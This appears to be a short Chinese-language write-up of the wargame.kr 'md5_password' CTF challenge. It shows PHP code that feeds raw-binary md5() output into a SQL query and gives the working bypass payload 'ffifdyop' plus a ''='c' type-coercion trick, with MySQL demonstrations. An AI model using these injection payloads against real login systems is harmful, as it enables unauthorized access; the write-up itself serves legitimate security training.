http://wargame.kr:8080/md5_password/index.php
关键源码
$ps=mysql_real_escape_string($_POST['ps']);
$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));
这里注意md5函数还带了参数true。语法:
md5(string,raw)
参数描述
string必需。规定要计算的字符串。
raw可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
所以如果某个payload的md5取二进制之后的值是 口口' or '1口口 就会使得select * from admin_password where password='口口' or '1口口' 。注意or 最后可以1或2或3等数字开头,MySQL会将其处理为数字类型。
那么经典的这样的payload 就是ffifdyop ,其md5 二进制后内容是 �'or'6�]��
----------------
还有另外一种解法是,寻找一个payload 包含'=' 使得构造select * from admin_password where password=''='c' 。解释一下 password='' 得到0 ,然后0='c' 因为MySQL将'c'看做数字类型于是判断布尔成立。
mysql> select * from users where password =''='';
+-------+----------+
| name | password |
+-------+----------+
| guest | guest |
+-------+----------+
1 row in set (0.00 sec)
mysql> select * from users where password =''='c';
+-------+----------+
| name | password |
+-------+----------+
| guest | guest |
+-------+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select * from users where password =''='1';
Empty set (0.00 sec)
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
网友评论